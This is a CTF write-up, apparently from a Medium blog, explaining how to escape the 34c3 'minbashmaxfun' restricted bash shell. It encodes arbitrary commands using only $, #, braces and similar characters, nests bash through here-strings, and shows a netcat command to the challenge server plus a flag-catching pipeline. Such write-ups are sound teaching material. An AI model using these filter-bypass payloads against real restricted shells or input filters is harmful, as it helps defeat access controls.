34c3 CTF minbashmaxfun writeup

Ori Kadosh
Dec 31, 2017 · 4 min read

TL;DR

We came up with a neat solution to the minbashmaxfun challenge from the 34c3 CTF. Jump to the end for the python script solution.

Preface

Cellebrite’s Security Research Labs had a great time last week at 34c3. We took a go at some of the CTF challenges, and had fun solving minbashmaxfun. There was another interesting writeup by LosFuzzys for that challenge but they took a more complex route, so we thought we’d share our solution too. (obviously not anyone will find this interesting, as a flag is a flag is a flag :)).

(Our complete bash command which catches the flag is 3,555 characters, compared to 11,359 of the other one posted).

The existing solution does mainly two things unnecessarily:

  • Relying on PIDs (which isn’t only cumbersome and slow, but if this challenge was on a real system (or PIDs risen by other players), this assumption wouldv’e been broken).
  • Using way too many bash invocations (for indirections).

Overview

Let’s take a step back and describe the challenge. You are given a connection to a restricted bash shell, only very few (special) characters are allowed, and you need to catch the flag.

More specifically, this challenge poses two main obstacles: the allowed characters — $()#!{}<\’,, and the other, is stdin is closed right before invoking your command.

help
source

Our Arsenal

We have quite a few tools at our disposal which we use in our solution, so let’s start by explaining them:

$# - number of arguments -  (evaluates to 0)
${##} - count variable (#) length - (evaluates to 1)
$((expr)) - arithmetic expression
<<< - here string
${!var} - indirect expansion
$'\123' - convert octal to a character in string literal
{a,b} - curly brace expansion

That’s the basis, and we build upon this like so:

$((${##}<<${##})) - 1 left shift by 1, evaluates to 2
${!#} - executes bash (as the first argument is /bin/bash)
$((2#1000001)) - convert binary to decimal. 2, 1 and 0 are forbidden and will be replaced

A simple start

Let’s start by converting one simple command: ls.

The octal representation of the characters is 0154, 0163. So our final goal is to build this bash string: $'\154\163.Since we cannot obviously send the digits, let’s start by converting each them to a binary representation, like so: 0b10011010, 0b10100011.

Now, this we can work with. Simply convert each of the binary-digits to either $# (0) or ${##} (1). Then put the result of each character inside arithmetic-expansion braces. This should be the result:

154: $((2#${##}$#$#${##}${##}$#${##}$#))
163: $((2#${##}$#${##}$#$#$#${##}${##}))

All that’s left to do at this point, is two simple things:

  1. Replace the 2 in the arithmetic-conversion to the left-shift as explained before.
154: $(($((${##}<<${##}))#${##}$#$#${##}${##}$#${##}$#))
163: $(($((${##}<<${##}))#${##}$#${##}$#$#$#${##}${##}))

2. Place the converted numbers inside a dollar quoted string literal (i.e $'\154'$'\163').

154: \$\'\\$(($((${##}<<${##}))#${##}$#$#${##}${##}$#${##}$#))\'
163: \$\'\\$(($((${##}<<${##}))#${##}$#${##}$#$#$#${##}${##}))\'

Do note that the string literal elements are all carefully escaped, if they weren’t escaped, the inside string was not going to be expanded at all by bash, and taken as… well… a string literal :).

(more on that below)

We’re almost done

At this point you can simply take:

\$\'\\$(($((${##}<<${##}))#${##}$#$#${##}${##}$#${##}$#))\'\$\'\\$(($((${##}<<${##}))#${##}$#${##}$#$#$#${##}${##}))\'

(which is the combined string we’ve just built)

and send it to the min-bash shell.

However, as you’ll see, you’ll get this error:

min-bash> /bin/bash: $'\154'$'\163': command not found

This is because the string literal expansion didn’t take place. All we need is to pipe this string through another instance of bashwhich will parse this into the literal ls.

In order to pipe the string, we’ll use the here-string, and in order to launch another instance of bash, we’ll just use indirect expansion on $0. Like so:

${!#}<<<my string

or in our case:

${!#}<<<\$\'\\$(($((${##}<<${##}))#${##}$#$#${##}${##}$#${##}$#))\'\$\'\\$(($((${##}<<${##}))#${##}$#${##}$#$#$#${##}${##}))\'

Send this to the min-bash shell and you’ll see ls working as expected!

What about arguments?

Well… If you’ll try using this method and try to run a program which takes command line arguments, you’ll soon see this error:

min-bash> /bin/bash: line 1: ls -l: command not found

This is because we’re effectively doing the following:

bash<<<"'ls -l'"

which prevents bash from doing the argument separation by spaces.

Fret not, as the fix for this is rather simple.

We simply use the above method to run bash -c and that takes as an argument the final command. This way, the second bash invocation does the argument separation.

In order to place a space character between bash and -c, we use brace expansion: {bash,-c}. This expands to the string with the space.

Putting it all together

So, if you take all the pieces, what we’re effectively translating with the above method is:

bash<<<{bash,-c,ls -l}

This lets us freely run any command without any command line processing limitations.

Obviously this was all scripted with one (rather quick-and-ditry) python script, and was not hand-crafted like above.

Simply use the conversion script as follows:

./convert.py 'ls -la' | nc 35.198.107.77 1337

(If you don’t supply an argument to the conversion script, it will use the flag-catching command as a default.)

The script is embedded in the end.

Catching the flag

Once you have a ‘shell’ of sorts, you need to run the get_flag binary, which spits out a (random) calculation:

Please solve this little captcha:
530892629 + 3254451000 + 4211578791 + 2425633949 + 368428465
10790984834 != 0 :(

You just need to pipe back in, to the same process, the result.

We used the following command for the flag catching:

bash -c 'expr $(grep + /tmp/out)' | /get_flag > /tmp/out; cat /tmp/out

This runs the get_flag binary, saving the output to file in /tmp, and pipes back in the result.

convert.py

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade